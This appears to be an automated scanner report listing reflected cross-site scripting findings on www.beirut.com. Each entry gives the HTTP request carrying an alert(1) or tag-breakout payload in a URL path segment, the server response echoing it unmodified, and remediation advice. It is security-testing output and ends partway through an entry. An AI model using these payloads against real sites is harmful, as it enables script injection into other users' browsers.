<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Equipment-Gadgets/339412286/Mobile-Phones/559a104'-alert(1)-'03a1f3b248a'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcbba"><a>82e9685ba07 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingfcbba"><a>82e9685ba07/Equipment-Gadgets/339412286/Musical-Instruments/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:41:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59876
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingfcbba"><a>82e9685ba07"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f7c0'-alert(1)-'306c1730b13 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping4f7c0'-alert(1)-'306c1730b13/Equipment-Gadgets/339412286/Musical-Instruments/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping4f7c0'-alert(1)-'306c1730b13/Equipment-Gadgets/339412286/Musical-Instruments/24'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 801e4'-alert(1)-'6a9e89cfa94 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets801e4'-alert(1)-'6a9e89cfa94/339412286/Musical-Instruments/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:53:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58653
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Equipment-Gadgets801e4'-alert(1)-'6a9e89cfa94/339412286/Musical-Instruments/24'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1591d<script>alert(1)</script>2f814d77927 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Equipment-Gadgets1591d<script>alert(1)</script>2f814d77927/339412286/Musical-Instruments/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:54:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58619
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Equipment Gadgets1591d<script>alert(1)</script>2f814d77927 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7a9b'-alert(1)-'201bdf3a8f7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286c7a9b'-alert(1)-'201bdf3a8f7/Musical-Instruments/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:58:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59172
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Equipment-Gadgets/339412286c7a9b'-alert(1)-'201bdf3a8f7/Musical-Instruments/24'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b07bc'-alert(1)-'9eff71d71b3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Musical-Instrumentsb07bc'-alert(1)-'9eff71d71b3/24 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:05:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Equipment-Gadgets/339412286/Musical-Instrumentsb07bc'-alert(1)-'9eff71d71b3/24'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f7d43'-alert(1)-'d0a31ab47d6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Musical-Instruments/24f7d43'-alert(1)-'d0a31ab47d6 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:14:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Equipment-Gadgets/339412286/Musical-Instruments/24f7d43'-alert(1)-'d0a31ab47d6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64df5"><a>b0140b06081 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping64df5"><a>b0140b06081/Equipment-Gadgets/339412286/Stationery/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:53:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59771
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping64df5"><a>b0140b06081"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b5f7'-alert(1)-'3728ef0c51a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping4b5f7'-alert(1)-'3728ef0c51a/Equipment-Gadgets/339412286/Stationery/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:00:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59690
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping4b5f7'-alert(1)-'3728ef0c51a/Equipment-Gadgets/339412286/Stationery/64'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 28afb<script>alert(1)</script>a7f04d8fbe5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Equipment-Gadgets28afb<script>alert(1)</script>a7f04d8fbe5/339412286/Stationery/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:05:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60983
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Equipment Gadgets28afb<script>alert(1)</script>a7f04d8fbe5 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d129a'-alert(1)-'090fd3b749c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgetsd129a'-alert(1)-'090fd3b749c/339412286/Stationery/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:05:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61000
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgetsd129a'-alert(1)-'090fd3b749c/339412286/Stationery/64'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65c91'-alert(1)-'1a2b3466890 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/33941228665c91'-alert(1)-'1a2b3466890/Stationery/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:13:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61502
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgets/33941228665c91'-alert(1)-'1a2b3466890/Stationery/64'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5da2d'-alert(1)-'b38aa5a5835 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Stationery5da2d'-alert(1)-'b38aa5a5835/64 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:19:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Equipment-Gadgets/339412286/Stationery5da2d'-alert(1)-'b38aa5a5835/64'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e9c7'-alert(1)-'1bbc135ed4c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Equipment-Gadgets/339412286/Stationery/643e9c7'-alert(1)-'1bbc135ed4c HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:25:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54307
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Equipment-Gadgets/339412286/Stationery/643e9c7'-alert(1)-'1bbc135ed4c'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8746d'-alert(1)-'39fe49f3abb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
